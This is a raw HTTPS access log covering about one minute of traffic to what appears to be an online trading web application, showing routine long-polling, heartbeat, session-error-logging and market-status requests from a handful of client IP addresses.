[09/Jan/2026:12:00:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931487121 HTTP/1.1" -
[09/Jan/2026:12:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931487898 HTTP/1.1" -
[09/Jan/2026:12:00:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931488357 HTTP/1.1" -
[09/Jan/2026:12:00:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931490112 HTTP/1.1" -
[09/Jan/2026:12:00:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931490111 HTTP/1.1" -
[09/Jan/2026:12:00:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931490629 HTTP/1.1" -
[09/Jan/2026:12:00:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931491457 HTTP/1.1" -
[09/Jan/2026:12:00:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931492160 HTTP/1.1" -
[09/Jan/2026:12:00:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931492965 HTTP/1.1" -
[09/Jan/2026:12:00:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931493428 HTTP/1.1" -
[09/Jan/2026:12:00:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931495289 HTTP/1.1" -
[09/Jan/2026:12:00:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931495379 HTTP/1.1" -
[09/Jan/2026:12:00:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931495699 HTTP/1.1" -
[09/Jan/2026:12:00:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931496512 HTTP/1.1" -
[09/Jan/2026:12:00:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931497189 HTTP/1.1" -
[09/Jan/2026:12:00:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931498035 HTTP/1.1" -
[09/Jan/2026:12:00:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931498468 HTTP/1.1" -
[09/Jan/2026:12:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931500423 HTTP/1.1" -
[09/Jan/2026:12:00:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931500518 HTTP/1.1" -
[09/Jan/2026:12:00:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931500756 HTTP/1.1" -
[09/Jan/2026:12:00:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931501581 HTTP/1.1" -
[09/Jan/2026:12:00:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931502235 HTTP/1.1" -
[09/Jan/2026:12:00:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931503103 HTTP/1.1" -
[09/Jan/2026:12:00:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931503534 HTTP/1.1" -
[09/Jan/2026:12:00:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931505470 HTTP/1.1" -
[09/Jan/2026:12:00:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931505824 HTTP/1.1" -
[09/Jan/2026:12:00:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931505800 HTTP/1.1" -
[09/Jan/2026:12:00:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931506648 HTTP/1.1" -
[09/Jan/2026:12:00:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931507283 HTTP/1.1" -
[09/Jan/2026:12:00:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931508174 HTTP/1.1" -
[09/Jan/2026:12:00:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931508600 HTTP/1.1" -
[09/Jan/2026:12:00:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931510624 HTTP/1.1" -
[09/Jan/2026:12:00:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931510892 HTTP/1.1" -
[09/Jan/2026:12:00:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931510980 HTTP/1.1" -
[09/Jan/2026:12:00:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931511709 HTTP/1.1" -
[09/Jan/2026:12:00:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931512328 HTTP/1.1" -
[09/Jan/2026:12:00:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931513235 HTTP/1.1" -
[09/Jan/2026:12:00:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931513669 HTTP/1.1" -
[09/Jan/2026:12:00:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931515763 HTTP/1.1" -
[09/Jan/2026:12:00:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931515955 HTTP/1.1" -
[09/Jan/2026:12:00:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931516277 HTTP/1.1" -
[09/Jan/2026:12:00:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931516778 HTTP/1.1" -
[09/Jan/2026:12:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931517367 HTTP/1.1" -
[09/Jan/2026:12:00:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931518300 HTTP/1.1" -
[09/Jan/2026:12:00:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931518775 HTTP/1.1" -
[09/Jan/2026:12:00:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931520937 HTTP/1.1" -
[09/Jan/2026:12:00:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931521026 HTTP/1.1" -
[09/Jan/2026:12:00:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931521471 HTTP/1.1" -
[09/Jan/2026:12:00:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931521835 HTTP/1.1" -
[09/Jan/2026:12:00:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931522385 HTTP/1.1" -
[09/Jan/2026:12:00:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931523365 HTTP/1.1" -
[09/Jan/2026:12:00:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931523853 HTTP/1.1" -
[09/Jan/2026:12:00:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:00:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:00:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:00:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931526094 HTTP/1.1" -
[09/Jan/2026:12:00:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931526086 HTTP/1.1" -
[09/Jan/2026:12:00:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931526734 HTTP/1.1" -
[09/Jan/2026:12:00:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931526898 HTTP/1.1" -
